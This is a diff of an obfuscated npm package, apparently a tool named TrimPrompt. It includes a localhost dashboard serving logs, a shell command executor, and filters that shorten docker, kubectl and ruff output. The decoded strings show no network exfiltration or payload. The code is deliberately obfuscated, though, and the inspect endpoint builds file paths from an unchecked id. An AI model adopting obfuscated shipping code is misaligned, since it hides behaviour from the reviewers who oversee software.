__createBinding=this&&this[a0_0x378c7b(0x1ec)]||(Object[a0_0x378c7b(0x1ee)]?function(_0x44ccb3,_0x170003,_0x339d91,_0x5689c0){const _0x332468=a0_0x378c7b;if(_0x5689c0===undefined)_0x5689c0=_0x339d91;var _0x8c68e3=Object[_0x332468(0x1ce)](_0x170003,_0x339d91);(!_0x8c68e3||('get'in _0x8c68e3?!_0x170003['__esModule']:_0x8c68e3['writable']||_0x8c68e3[_0x332468(0x1fe)]))&&(_0x8c68e3={'enumerable':!![],'get':function(){return _0x170003[_0x339d91];}}),Object[_0x332468(0x1fa)](_0x44ccb3,_0x5689c0,_0x8c68e3);}:function(_0x3af9db,_0x1936a7,_0x466164,_0x2aa33f){if(_0x2aa33f===undefined)_0x2aa33f=_0x466164;_0x3af9db[_0x2aa33f]=_0x1936a7[_0x466164];}),__setModuleDefault=this&&this[a0_0x378c7b(0x1c6)]||(Object[a0_0x378c7b(0x1ee)]?function(_0x309c4d,_0x1d2b4d){const _0x3d80c1=a0_0x378c7b;Object[_0x3d80c1(0x1fa)](_0x309c4d,'default',{'enumerable':!![],'value':_0x1d2b4d});}:function(_0x3bddfe,_0x22acbc){const _0x22f931=a0_0x378c7b;_0x3bddfe[_0x22f931(0x1f6)]=_0x22acbc;}),__importStar=this&&this[a0_0x378c7b(0x1f7)]||(function(){var _0x26b843=function(_0x412a52){const _0x190562=a0_0x4aed;return _0x26b843=Object[_0x190562(0x202)]||function(_0x5a9133){const _0x4c9efe=_0x190562;var _0x501567=[];for(var _0x3dc299 in _0x5a9133)if(Object[_0x4c9efe(0x1f8)][_0x4c9efe(0x1d5)][_0x4c9efe(0x1fc)](_0x5a9133,_0x3dc299))_0x501567[_0x501567[_0x4c9efe(0x1d1)]]=_0x3dc299;return _0x501567;},_0x26b843(_0x412a52);};return function(_0x3d6e8c){const _0x21970e=a0_0x4aed;if(_0x3d6e8c&&_0x3d6e8c['__esModule'])return _0x3d6e8c;var _0x409e4d={};if(_0x3d6e8c!=null){for(var _0x23defb=_0x26b843(_0x3d6e8c),_0x116cdd=0x0;_0x116cdd<_0x23defb[_0x21970e(0x1d1)];_0x116cdd++)if(_0x23defb[_0x116cdd]!==_0x21970e(0x1f6))__createBinding(_0x409e4d,_0x3d6e8c,_0x23defb[_0x116cdd]);}return __setModuleDefault(_0x409e4d,_0x3d6e8c),_0x409e4d;};}()),__importDefault=this&&this[a0_0x378c7b(0x1ef)]||function(_0x4be001){const _0x4fcdbe=a0_0x378c7b;return _0x4be001&&_0x4be001[_0x4fcdbe(0x201)]?_0x4be001:{'default':_0x4be001};};Object[a0_0x378c7b(0x1fa)](exports,a0_0x378c7b(0x201),{'value':!![]}),exports[a0_0x378c7b(0x1cd)]=startDashboard;function a0_0x17e5(){const _0xd17879=['Press\x20Ctrl+C\x20in\x20this\x20terminal\x20to\x20shut\x20down.','defineProperty','index.html','call','code','configurable','./tracker','open','__esModule','getOwnPropertyNames','7DnuaFN','__setModuleDefault','12854AgvGGs','EADDRINUSE','path','getLogs','json','http://localhost:','startDashboard','getOwnPropertyDescriptor','/api/stats/summary','385911aeypzQ','length','164ATKaIm','logs','Compressed\x20output\x20log\x20file\x20not\x20found.','hasOwnProperty','homedir','get','sendFile','catch','10lajEKk','getStatsSummary','tracker','readFileSync','../src/index.html','.trimprompt','.raw.txt','message','express','join','existsSync','model','Raw\x20output\x20log\x20file\x20not\x20found.','utf8','3210153RwbIrf','log','40aWLfAM','[TrimPrompt]\x20Dashboard\x20error:\x20','__createBinding','params','create','__importDefault','557164Qkwllp','19144128OIlqiq','96HwEium','query','5652762tEFBac','5803589MvAyKJ','default','__importStar','prototype'];a0_0x17e5=function(){return _0xd17879;};return a0_0x17e5();}const express_1=__importDefault(require(a0_0x378c7b(0x1e2))),path=__importStar(require(a0_0x378c7b(0x1c9))),fs=__importStar(require('fs')),os=__importStar(require('os')),open_1=__importDefault(require(a0_0x378c7b(0x200))),tracker_1=require(a0_0x378c7b(0x1ff)),app=(0x0,express_1[a0_0x378c7b(0x1f6)])(),baseDir=path[a0_0x378c7b(0x1e3)](os[a0_0x378c7b(0x1d6)](),a0_0x378c7b(0x1df)),logsDir=path[a0_0x378c7b(0x1e3)](baseDir,a0_0x378c7b(0x1d3));function a0_0x4aed(_0xcf3a22,_0x1d5046){const _0x17e536=a0_0x17e5();return a0_0x4aed=function(_0x4aedff,_0x23f95d){_0x4aedff=_0x4aedff-0x1c5;let _0x45e05e=_0x17e536[_0x4aedff];return _0x45e05e;},a0_0x4aed(_0xcf3a22,_0x1d5046);}app['get']('/',(_0x2fb7f9,_0x2c6836)=>{const _0x91d27f=a0_0x378c7b,_0x78b1cc=path[_0x91d27f(0x1e3)](__dirname,_0x91d27f(0x1fb));fs[_0x91d27f(0x1e4)](_0x78b1cc)?_0x2c6836[_0x91d27f(0x1d8)](_0x78b1cc):_0x2c6836[_0x91d27f(0x1d8)](path[_0x91d27f(0x1e3)](__dirname,_0x91d27f(0x1de)));}),app['get'](a0_0x378c7b(0x1cf),(_0x1f7c99,_0x294f5b)=>{const _0x242edd=a0_0x378c7b,_0x52ef8a=_0x1f7c99[_0x242edd(0x1f3)][_0x242edd(0x1e5)]||'auto',_0x1c2f9b=tracker_1[_0x242edd(0x1dc)][_0x242edd(0x1db)](_0x52ef8a);_0x294f5b[_0x242edd(0x1cb)](_0x1c2f9b);}),app['get']('/api/stats/history',(_0x55dfc5,_0x5c83e3)=>{const _0x4c6670=a0_0x378c7b,_0x1dbdc0=tracker_1[_0x4c6670(0x1dc)][_0x4c6670(0x1ca)]();_0x5c83e3[_0x4c6670(0x1cb)](_0x1dbdc0);}),app[a0_0x378c7b(0x1d7)]('/api/stats/inspect/:id',(_0xf4943c,_0x5dc864)=>{const _0x4070bd=a0_0x378c7b,_0x2188d2=_0xf4943c[_0x4070bd(0x1ed)]['id'],_0x13c5a8=path[_0x4070bd(0x1e3)](logsDir,_0x2188d2+_0x4070bd(0x1e0)),_0x12042d=path['join'](logsDir,_0x2188d2+'.comp.txt');let _0x45a27e=_0x4070bd(0x1e6),_0x4fea3e=_0x4070bd(0x1d4);try{fs[_0x4070bd(0x1e4)](_0x13c5a8)&&(_0x45a27e=fs[_0x4070bd(0x1dd)](_0x13c5a8,_0x4070bd(0x1e7))),fs['existsSync'](_0x12042d)&&(_0x4fea3e=fs[_0x4070bd(0x1dd)](_0x12042d,_0x4070bd(0x1e7)));}catch(_0x54049a){}_0x5dc864[_0x4070bd(0x1cb)]({'id':_0x2188d2,'raw':_0x45a27e,'compressed':_0x4fea3e});});function startDashboard(_0x275d86=0xfa0){let _0x19bd8d=_0x275d86;const _0x25d222=app['listen'](_0x19bd8d,()=>{const _0x6a84a8=a0_0x4aed,_0x6e2bd5=_0x6a84a8(0x1cc)+_0x19bd8d;console[_0x6a84a8(0x1e9)]('\x0a[TrimPrompt]\x20Dashboard\x20server\x20started\x20at:\x20'+_0x6e2bd5),console['log'](_0x6a84a8(0x1f9)),(0x0,open_1[_0x6a84a8(0x1f6)])(_0x6e2bd5)[_0x6a84a8(0x1d9)](()=>{});});_0x25d222['on']('error',_0x114936=>{const _0x501ea7=a0_0x4aed;_0x114936[_0x501ea7(0x1fd)]===_0x501ea7(0x1c8)?startDashboard(_0x19bd8d+0x1):console['error'](_0x501ea7(0x1eb)+_0x114936[_0x501ea7(0x1e1)]);});}
package/executor.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x37fc(){var _0x57e0d3=['shims','delimiter','getOwnPropertyDescriptor','__importStar','defineProperty','default','__createBinding','hasOwnProperty','data','spawn','8ICnIrG','executeCommand','4845953koSFAG','3005340cZTTfc','homedir','env','toLowerCase','4938462XuPKct','inherit','error','filter','create','trim','__esModule','getOwnPropertyNames','6633LvuRBK','length','4259472HZEKbg','configurable','185vtwfMO','path','child_process','prototype','call','44026760hEQRRX','PATH','message','pipe','stdout','close','stderr','\x22:\x20','split','Failed\x20to\x20spawn\x20command\x20\x22','31002ebHADK','140QGshal','__setModuleDefault'];a0_0x37fc=function(){return _0x57e0d3;};return a0_0x37fc();}function a0_0x5667(_0x57156d,_0x48780c){var _0x37fc91=a0_0x37fc();return a0_0x5667=function(_0x566725,_0x2e25e5){_0x566725=_0x566725-0x8c;var _0x436dd4=_0x37fc91[_0x566725];return _0x436dd4;},a0_0x5667(_0x57156d,_0x48780c);}var a0_0x1f231f=a0_0x5667;(function(_0x5f3cb3,_0x13ea5f){var _0x1718a5=a0_0x5667,_0x5634df=_0x5f3cb3();while(!![]){try{var _0x522117=-parseInt(_0x1718a5(0xb2))/0x1*(parseInt(_0x1718a5(0x97))/0x2)+-parseInt(_0x1718a5(0xb4))/0x3+-parseInt(_0x1718a5(0xa6))/0x4+-parseInt(_0x1718a5(0xb6))/0x5*(-parseInt(_0x1718a5(0x96))/0x6)+-parseInt(_0x1718a5(0xa5))/0x7+parseInt(_0x1718a5(0xa3))/0x8*(-parseInt(_0x1718a5(0xaa))/0x9)+parseInt(_0x1718a5(0x8c))/0xa;if(_0x522117===_0x13ea5f)break;else _0x5634df['push'](_0x5634df['shift']());}catch(_0x131f9b){_0x5634df['push'](_0x5634df['shift']());}}}(a0_0x37fc,0xaf24d));var __createBinding=this&&this[a0_0x1f231f(0x9f)]||(Object[a0_0x1f231f(0xae)]?function(_0x178bc4,_0x27e445,_0x20f685,_0x2e461c){var _0x55a500=a0_0x1f231f;if(_0x2e461c===undefined)_0x2e461c=_0x20f685;var _0x38fb37=Object[_0x55a500(0x9b)](_0x27e445,_0x20f685);(!_0x38fb37||('get'in _0x38fb37?!_0x27e445['__esModule']:_0x38fb37['writable']||_0x38fb37[_0x55a500(0xb5)]))&&(_0x38fb37={'enumerable':!![],'get':function(){return _0x27e445[_0x20f685];}}),Object['defineProperty'](_0x178bc4,_0x2e461c,_0x38fb37);}:function(_0x182aa9,_0x547f6b,_0x51098d,_0x223662){if(_0x223662===undefined)_0x223662=_0x51098d;_0x182aa9[_0x223662]=_0x547f6b[_0x51098d];}),__setModuleDefault=this&&this[a0_0x1f231f(0x98)]||(Object[a0_0x1f231f(0xae)]?function(_0x22d0ba,_0x40937b){var _0x359f99=a0_0x1f231f;Object[_0x359f99(0x9d)](_0x22d0ba,_0x359f99(0x9e),{'enumerable':!![],'value':_0x40937b});}:function(_0x3fe3b1,_0x150934){_0x3fe3b1['default']=_0x150934;}),__importStar=this&&this[a0_0x1f231f(0x9c)]||(function(){var _0x155ec3=function(_0x46db57){var _0xc5bd13=a0_0x5667;return _0x155ec3=Object[_0xc5bd13(0xb1)]||function(_0x1ee151){var _0x24db23=_0xc5bd13,_0x3d55e6=[];for(var _0x43e2f3 in _0x1ee151)if(Object[_0x24db23(0xb9)][_0x24db23(0xa0)][_0x24db23(0xba)](_0x1ee151,_0x43e2f3))_0x3d55e6[_0x3d55e6[_0x24db23(0xb3)]]=_0x43e2f3;return _0x3d55e6;},_0x155ec3(_0x46db57);};return function(_0x2e588e){var _0x18e24b=a0_0x5667;if(_0x2e588e&&_0x2e588e[_0x18e24b(0xb0)])return _0x2e588e;var _0x598a85={};if(_0x2e588e!=null){for(var _0x63cebd=_0x155ec3(_0x2e588e),_0x4ad7e5=0x0;_0x4ad7e5<_0x63cebd[_0x18e24b(0xb3)];_0x4ad7e5++)if(_0x63cebd[_0x4ad7e5]!==_0x18e24b(0x9e))__createBinding(_0x598a85,_0x2e588e,_0x63cebd[_0x4ad7e5]);}return __setModuleDefault(_0x598a85,_0x2e588e),_0x598a85;};}());Object[a0_0x1f231f(0x9d)](exports,a0_0x1f231f(0xb0),{'value':!![]}),exports[a0_0x1f231f(0xa4)]=executeCommand;const child_process_1=require(a0_0x1f231f(0xb8)),path=__importStar(require(a0_0x1f231f(0xb7))),os=__importStar(require('os'));function executeCommand(_0x41e57b,_0x864183){return new Promise(_0x2f3a09=>{var _0x53a821=a0_0x5667;const _0xa2cc2b=path['join'](os[_0x53a821(0xa7)](),'.trimprompt',_0x53a821(0x99)),_0x1e9eeb=(process[_0x53a821(0xa8)][_0x53a821(0x8d)]||'')[_0x53a821(0x94)](path[_0x53a821(0x9a)])[_0x53a821(0xad)](_0x32cc88=>_0x32cc88[_0x53a821(0xaf)]()['toLowerCase']()!==_0xa2cc2b[_0x53a821(0xa9)]())['join'](path[_0x53a821(0x9a)]),_0x447d98={...process['env'],'PATH':_0x1e9eeb,'TRIMPROMPT_DISABLED':'1'},_0x4ba4e5=(0x0,child_process_1[_0x53a821(0xa2)])(_0x41e57b,_0x864183,{'stdio':[_0x53a821(0xab),_0x53a821(0x8f),'pipe'],'shell':!![],'env':_0x447d98});let _0x33fabc='',_0x12739d='';_0x4ba4e5[_0x53a821(0x90)]?.['on'](_0x53a821(0xa1),_0x1eed32=>{_0x33fabc+=_0x1eed32['toString']();}),_0x4ba4e5[_0x53a821(0x92)]?.['on'](_0x53a821(0xa1),_0x484a4e=>{_0x12739d+=_0x484a4e['toString']();}),_0x4ba4e5['on'](_0x53a821(0xac),_0x313c0f=>{var _0x4cc22f=_0x53a821;_0x2f3a09({'exitCode':0x1,'stdout':'','stderr':_0x4cc22f(0x95)+_0x41e57b+_0x4cc22f(0x93)+_0x313c0f[_0x4cc22f(0x8e)]});}),_0x4ba4e5['on'](_0x53a821(0x91),_0x677943=>{_0x2f3a09({'exitCode':_0x677943??0x0,'stdout':_0x33fabc,'stderr':_0x12739d});});});}
1
+ 'use strict';var a0_0x238317=a0_0x1bcd;(function(_0x50cac2,_0x290215){var _0xe0746b=a0_0x1bcd,_0x400296=_0x50cac2();while(!![]){try{var _0x2eb8ff=-parseInt(_0xe0746b(0x203))/0x1+-parseInt(_0xe0746b(0x21b))/0x2+parseInt(_0xe0746b(0x212))/0x3+parseInt(_0xe0746b(0x205))/0x4+-parseInt(_0xe0746b(0x21a))/0x5*(parseInt(_0xe0746b(0x218))/0x6)+-parseInt(_0xe0746b(0x1fa))/0x7*(parseInt(_0xe0746b(0x1f6))/0x8)+-parseInt(_0xe0746b(0x1ff))/0x9;if(_0x2eb8ff===_0x290215)break;else _0x400296['push'](_0x400296['shift']());}catch(_0x594c0a){_0x400296['push'](_0x400296['shift']());}}}(a0_0x5d10,0xdab4d));var __createBinding=this&&this[a0_0x238317(0x216)]||(Object[a0_0x238317(0x209)]?function(_0x6d4dd4,_0x526676,_0x594d5e,_0x3556e1){var _0x5c17cb=a0_0x238317;if(_0x3556e1===undefined)_0x3556e1=_0x594d5e;var _0x378b83=Object['getOwnPropertyDescriptor'](_0x526676,_0x594d5e);(!_0x378b83||(_0x5c17cb(0x202)in _0x378b83?!_0x526676[_0x5c17cb(0x20e)]:_0x378b83['writable']||_0x378b83[_0x5c17cb(0x215)]))&&(_0x378b83={'enumerable':!![],'get':function(){return _0x526676[_0x594d5e];}}),Object[_0x5c17cb(0x1fe)](_0x6d4dd4,_0x3556e1,_0x378b83);}:function(_0x2a2331,_0x40084c,_0x500909,_0x2d8b7f){if(_0x2d8b7f===undefined)_0x2d8b7f=_0x500909;_0x2a2331[_0x2d8b7f]=_0x40084c[_0x500909];}),__setModuleDefault=this&&this[a0_0x238317(0x20b)]||(Object[a0_0x238317(0x209)]?function(_0x14a44a,_0x4e68b7){var _0x9fb69b=a0_0x238317;Object[_0x9fb69b(0x1fe)](_0x14a44a,_0x9fb69b(0x1f7),{'enumerable':!![],'value':_0x4e68b7});}:function(_0x39d4d2,_0xbc1354){var _0x597238=a0_0x238317;_0x39d4d2[_0x597238(0x1f7)]=_0xbc1354;}),__importStar=this&&this[a0_0x238317(0x1f9)]||(function(){var _0xb1e01e=function(_0x473bbf){var _0x78dc7=a0_0x1bcd;return _0xb1e01e=Object[_0x78dc7(0x1fd)]||function(_0x2a4651){var _0x361470=_0x78dc7,_0x2a7110=[];for(var _0x230067 in _0x2a4651)if(Object['prototype']['hasOwnProperty'][_0x361470(0x1f4)](_0x2a4651,_0x230067))_0x2a7110[_0x2a7110[_0x361470(0x211)]]=_0x230067;return _0x2a7110;},_0xb1e01e(_0x473bbf);};return function(_0x10436c){var _0x7ac17c=a0_0x1bcd;if(_0x10436c&&_0x10436c[_0x7ac17c(0x20e)])return _0x10436c;var _0x325e17={};if(_0x10436c!=null){for(var _0x2224c0=_0xb1e01e(_0x10436c),_0x2f348c=0x0;_0x2f348c<_0x2224c0[_0x7ac17c(0x211)];_0x2f348c++)if(_0x2224c0[_0x2f348c]!=='default')__createBinding(_0x325e17,_0x10436c,_0x2224c0[_0x2f348c]);}return __setModuleDefault(_0x325e17,_0x10436c),_0x325e17;};}());function a0_0x5d10(){var _0x591c07=['PATH','1091004royoBp','path','20xWqMct','159388IlwQJX','pipe','executeCommand','trim','call','message','24pFdznj','default','env','__importStar','1539342mzTuyV','delimiter','inherit','getOwnPropertyNames','defineProperty','7444584ZBykXz','stdout','homedir','get','154384TYolnW','toLowerCase','6909280MRIqsQ','child_process','join','close','create','toString','__setModuleDefault','Failed\x20to\x20spawn\x20command\x20\x22','shims','__esModule','.trimprompt','\x22:\x20','length','4850427dfsnsu','data','stderr','configurable','__createBinding'];a0_0x5d10=function(){return _0x591c07;};return a0_0x5d10();}Object['defineProperty'](exports,a0_0x238317(0x20e),{'value':!![]}),exports[a0_0x238317(0x1f2)]=executeCommand;const child_process_1=require(a0_0x238317(0x206)),path=__importStar(require(a0_0x238317(0x219))),os=__importStar(require('os'));function a0_0x1bcd(_0xb7d9c3,_0x4eaf02){var _0x5d1045=a0_0x5d10();return a0_0x1bcd=function(_0x1bcd7f,_0x3e6a54){_0x1bcd7f=_0x1bcd7f-0x1f1;var _0x36b5b6=_0x5d1045[_0x1bcd7f];return _0x36b5b6;},a0_0x1bcd(_0xb7d9c3,_0x4eaf02);}function executeCommand(_0x14bbe1,_0x5ac4ae){return new Promise(_0x49b1b0=>{var _0x5cbd5c=a0_0x1bcd;const _0x4c4f3f=path[_0x5cbd5c(0x207)](os[_0x5cbd5c(0x201)](),_0x5cbd5c(0x20f),_0x5cbd5c(0x20d)),_0x34d0cc=(process['env'][_0x5cbd5c(0x217)]||'')['split'](path[_0x5cbd5c(0x1fb)])['filter'](_0x9be7a9=>_0x9be7a9[_0x5cbd5c(0x1f3)]()[_0x5cbd5c(0x204)]()!==_0x4c4f3f[_0x5cbd5c(0x204)]())[_0x5cbd5c(0x207)](path[_0x5cbd5c(0x1fb)]),_0x12bd98={...process[_0x5cbd5c(0x1f8)],'PATH':_0x34d0cc,'TRIMPROMPT_DISABLED':'1'},_0x418dce=(0x0,child_process_1['spawn'])(_0x14bbe1,_0x5ac4ae,{'stdio':[_0x5cbd5c(0x1fc),_0x5cbd5c(0x1f1),'pipe'],'shell':!![],'env':_0x12bd98});let _0x485226='',_0x41d42b='';_0x418dce[_0x5cbd5c(0x200)]?.['on'](_0x5cbd5c(0x213),_0x26e45e=>{var _0x4df58f=_0x5cbd5c;_0x485226+=_0x26e45e[_0x4df58f(0x20a)]();}),_0x418dce[_0x5cbd5c(0x214)]?.['on'](_0x5cbd5c(0x213),_0x339f23=>{var _0x5c59f4=_0x5cbd5c;_0x41d42b+=_0x339f23[_0x5c59f4(0x20a)]();}),_0x418dce['on']('error',_0x34674a=>{var _0x12d784=_0x5cbd5c;_0x49b1b0({'exitCode':0x1,'stdout':'','stderr':_0x12d784(0x20c)+_0x14bbe1+_0x12d784(0x210)+_0x34674a[_0x12d784(0x1f5)]});}),_0x418dce['on'](_0x5cbd5c(0x208),_0x5e2227=>{_0x49b1b0({'exitCode':_0x5e2227??0x0,'stdout':_0x485226,'stderr':_0x41d42b});});});}
package/filters/devops.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x2600ca=a0_0x28cb;(function(_0x227387,_0x5921fe){const _0x23b6f7=a0_0x28cb,_0x1b3ca5=_0x227387();while(!![]){try{const _0x1ba6f2=parseInt(_0x23b6f7(0x1d2))/0x1*(-parseInt(_0x23b6f7(0x1cc))/0x2)+-parseInt(_0x23b6f7(0x1d6))/0x3+parseInt(_0x23b6f7(0x1e1))/0x4*(parseInt(_0x23b6f7(0x1d3))/0x5)+parseInt(_0x23b6f7(0x1b9))/0x6+parseInt(_0x23b6f7(0x1b6))/0x7*(-parseInt(_0x23b6f7(0x1d1))/0x8)+-parseInt(_0x23b6f7(0x1bc))/0x9*(parseInt(_0x23b6f7(0x1df))/0xa)+parseInt(_0x23b6f7(0x1c8))/0xb;if(_0x1ba6f2===_0x5921fe)break;else _0x1b3ca5['push'](_0x1b3ca5['shift']());}catch(_0x2747de){_0x1b3ca5['push'](_0x1b3ca5['shift']());}}}(a0_0x52c8,0x45bb4));Object[a0_0x2600ca(0x1bb)](exports,a0_0x2600ca(0x1b1),{'value':!![]}),exports['filterDockerPs']=filterDockerPs,exports[a0_0x2600ca(0x1b2)]=filterDockerImages,exports[a0_0x2600ca(0x1c1)]=filterDockerLogs,exports[a0_0x2600ca(0x1bf)]=filterKubectl,exports[a0_0x2600ca(0x1c9)]=filterRuff;function a0_0x52c8(){const _0x102ac2=['defineProperty','225nEMPLP','\x20\x20...\x20(','Ruff:\x20no\x20issues\x20found','filterKubectl','\x0a...\x20+','filterDockerLogs','No\x20containers\x20running','\x20total','slice','filter','\x20more\x20lines','trim','16380463IqCAVw','filterRuff','No\x20resources\x20found','Ruff:\x20all\x20checks\x20passed','102388AqfIpX','\x20files','\x20log\x20lines\x20total)','\x20more\x20events','\x20lines\x20truncated]\x20...\x0a','32NMdboG','11fBOOMJ','2663345oECzYR','split','push','1127331RJnHWA','\x0a...\x20[','\x20more\x20resources','Containers:\x20','match','Ruff:\x20','\x20more','length','includes','227670gBKkLT','\x20more\x20images','4kHNDHV','logs','keys','__esModule','filterDockerImages','All\x20checks\x20passed','Found\x200\x20error','No\x20images\x20found','727069smNePQ','\x20\x20...\x20+','join','1124232TLiiKS','\x20issues\x20in\x20'];a0_0x52c8=function(){return _0x102ac2;};return a0_0x52c8();}function a0_0x28cb(_0x4ed33f,_0x114710){const _0x52c800=a0_0x52c8();return a0_0x28cb=function(_0x28cb02,_0xa27cdc){_0x28cb02=_0x28cb02-0x1b0;let _0x3069bb=_0x52c800[_0x28cb02];return _0x3069bb;},a0_0x28cb(_0x4ed33f,_0x114710);}function filterDockerPs(_0x9c6241){const _0xd68526=a0_0x2600ca,_0x5984a8=_0x9c6241[_0xd68526(0x1d4)]('\x0a')['filter'](_0x476613=>_0x476613[_0xd68526(0x1c7)]()[_0xd68526(0x1dd)]>0x0);if(_0x5984a8[_0xd68526(0x1dd)]===0x0)return _0xd68526(0x1c2);if(_0x5984a8[_0xd68526(0x1dd)]<=0xa)return _0x9c6241['trim']();const _0x3f45c1=_0x5984a8[0x0],_0x583b68=_0x5984a8[_0xd68526(0x1c4)](0x1),_0x464b0d=[];_0x464b0d[_0xd68526(0x1d5)](_0xd68526(0x1d9)+_0x583b68[_0xd68526(0x1dd)]+_0xd68526(0x1c3)),_0x464b0d['push']('');for(const _0x2231b1 of _0x583b68){const _0x397abc=_0x2231b1[_0xd68526(0x1d4)](/\s{2,}/);if(_0x397abc['length']>=0x5){const _0xa335f1=_0x397abc[0x0]['substring'](0x0,0xc),_0x5eae4b=_0x397abc[0x1],_0x7a247d=_0x397abc[_0x397abc[_0xd68526(0x1dd)]-0x2]||'',_0x36aca5=_0x397abc[_0x397abc[_0xd68526(0x1dd)]-0x1]||'';_0x464b0d['push']('\x20\x20'+_0xa335f1+'\x20\x20'+_0x5eae4b+'\x20\x20'+_0x7a247d+'\x20\x20'+_0x36aca5);}else _0x464b0d[_0xd68526(0x1d5)]('\x20\x20'+_0x2231b1[_0xd68526(0x1c7)]());}return _0x464b0d['join']('\x0a');}function filterDockerImages(_0x243d25){const _0xbae91c=a0_0x2600ca,_0x9c0625=_0x243d25[_0xbae91c(0x1d4)]('\x0a')[_0xbae91c(0x1c5)](_0x4fde02=>_0x4fde02[_0xbae91c(0x1c7)]()[_0xbae91c(0x1dd)]>0x0);if(_0x9c0625['length']<=0x1)return _0xbae91c(0x1b5);if(_0x9c0625['length']<=0xf)return _0x243d25[_0xbae91c(0x1c7)]();const _0x49341d=_0x9c0625[_0xbae91c(0x1c4)](0x1),_0x5f274b=['Docker\x20images:\x20'+_0x49341d['length']+'\x20total'];_0x5f274b[_0xbae91c(0x1d5)]('');const _0x57913d=_0x49341d[_0xbae91c(0x1c4)](0x0,0x14);for(const _0x591566 of _0x57913d){const _0x5852e2=_0x591566['split'](/\s{2,}/);if(_0x5852e2[_0xbae91c(0x1dd)]>=0x3){const _0x814488=_0x5852e2[0x0],_0x5e7af9=_0x5852e2[0x1],_0x2001de=_0x5852e2[_0x5852e2[_0xbae91c(0x1dd)]-0x1]||'';_0x5f274b['push']('\x20\x20'+_0x814488+':'+_0x5e7af9+'\x20\x20'+_0x2001de);}else _0x5f274b[_0xbae91c(0x1d5)]('\x20\x20'+_0x591566['trim']());}return _0x49341d['length']>0x14&&_0x5f274b['push'](_0xbae91c(0x1b7)+(_0x49341d[_0xbae91c(0x1dd)]-0x14)+_0xbae91c(0x1e0)),_0x5f274b[_0xbae91c(0x1b8)]('\x0a');}function filterDockerLogs(_0x3422e6){const _0x19e1ca=a0_0x2600ca,_0x57953f=_0x3422e6[_0x19e1ca(0x1d4)]('\x0a');if(_0x57953f[_0x19e1ca(0x1dd)]<=0x32)return _0x3422e6;const _0x3cef35=[];return _0x3cef35[_0x19e1ca(0x1d5)](..._0x57953f[_0x19e1ca(0x1c4)](0x0,0x14)),_0x3cef35['push'](_0x19e1ca(0x1d7)+(_0x57953f[_0x19e1ca(0x1dd)]-0x28)+_0x19e1ca(0x1d0)),_0x3cef35['push'](..._0x57953f[_0x19e1ca(0x1c4)](-0x14)),_0x3cef35[_0x19e1ca(0x1d5)]('\x0a('+_0x57953f[_0x19e1ca(0x1dd)]+_0x19e1ca(0x1ce)),_0x3cef35[_0x19e1ca(0x1b8)]('\x0a');}function filterKubectl(_0xf26f6a,_0x57ee11){const _0x33b0ed=a0_0x2600ca,_0x4ad606=_0xf26f6a[_0x33b0ed(0x1d4)]('\x0a')['filter'](_0x350316=>_0x350316[_0x33b0ed(0x1c7)]()[_0x33b0ed(0x1dd)]>0x0);if(_0x4ad606[_0x33b0ed(0x1dd)]===0x0)return _0x33b0ed(0x1ca);if(_0x4ad606['length']<=0x14)return _0xf26f6a[_0x33b0ed(0x1c7)]();if(_0x57ee11==='get'){const _0x53416a=_0x4ad606[0x0],_0x41007f=_0x4ad606['slice'](0x1),_0x256b88=[_0x41007f[_0x33b0ed(0x1dd)]+'\x20resources\x20found','',_0x53416a];return _0x41007f[_0x33b0ed(0x1dd)]<=0x1e?_0x256b88[_0x33b0ed(0x1d5)](..._0x41007f):(_0x256b88[_0x33b0ed(0x1d5)](..._0x41007f['slice'](0x0,0x19)),_0x256b88[_0x33b0ed(0x1d5)]('...\x20+'+(_0x41007f[_0x33b0ed(0x1dd)]-0x19)+_0x33b0ed(0x1d8))),_0x256b88[_0x33b0ed(0x1b8)]('\x0a');}if(_0x57ee11==='describe'){const _0x2083a5=[];let _0x474fcc=![],_0x6e630c=0x0;for(const _0x56a097 of _0x4ad606){if(_0x56a097['startsWith']('Events:')){_0x474fcc=!![],_0x2083a5['push'](_0x56a097);continue;}if(_0x474fcc){_0x6e630c++;if(_0x6e630c<=0x5)_0x2083a5[_0x33b0ed(0x1d5)](_0x56a097);}else _0x2083a5[_0x33b0ed(0x1d5)](_0x56a097);}return _0x6e630c>0x5&&_0x2083a5['push'](_0x33b0ed(0x1b7)+(_0x6e630c-0x5)+_0x33b0ed(0x1cf)),_0x2083a5['join']('\x0a');}if(_0x57ee11===_0x33b0ed(0x1e2))return filterDockerLogs(_0xf26f6a);const _0xe824a1=_0x4ad606[_0x33b0ed(0x1c4)](0x0,0x1e);return _0x4ad606[_0x33b0ed(0x1dd)]>0x1e&&_0xe824a1[_0x33b0ed(0x1d5)]('...\x20+'+(_0x4ad606[_0x33b0ed(0x1dd)]-0x1e)+_0x33b0ed(0x1c6)),_0xe824a1['join']('\x0a');}function filterRuff(_0x46fc7a){const _0x9f4a5a=a0_0x2600ca,_0x3f24f5=_0x46fc7a[_0x9f4a5a(0x1d4)]('\x0a')[_0x9f4a5a(0x1c5)](_0x1fc19c=>_0x1fc19c[_0x9f4a5a(0x1c7)]()[_0x9f4a5a(0x1dd)]>0x0);if(_0x3f24f5[_0x9f4a5a(0x1dd)]===0x0)return _0x9f4a5a(0x1be);if(_0x46fc7a[_0x9f4a5a(0x1de)](_0x9f4a5a(0x1b3))||_0x46fc7a['includes'](_0x9f4a5a(0x1b4)))return _0x9f4a5a(0x1cb);const _0x52516b=_0x46fc7a[_0x9f4a5a(0x1da)](/Found (\d+) error/),_0x3c105b=_0x52516b?parseInt(_0x52516b[0x1]):_0x3f24f5['length'],_0x56b9b9={},_0x4299ca=[];for(const _0x325327 of _0x3f24f5){const _0x596a1b=_0x325327[_0x9f4a5a(0x1da)](/^([^:]+:\d+:\d+):\s*(.*)/);if(_0x596a1b){const _0x29262d=_0x596a1b[0x1],_0x11bd6e=_0x29262d[_0x9f4a5a(0x1d4)](':')[0x0];if(!_0x56b9b9[_0x11bd6e])_0x56b9b9[_0x11bd6e]=[];_0x56b9b9[_0x11bd6e][_0x9f4a5a(0x1d5)](_0x325327);}else _0x4299ca['push'](_0x325327);}const _0x4a1f1c=Object[_0x9f4a5a(0x1b0)](_0x56b9b9);if(_0x4a1f1c[_0x9f4a5a(0x1dd)]===0x0){if(_0x3f24f5['length']<=0x14)return _0x46fc7a[_0x9f4a5a(0x1c7)]();return 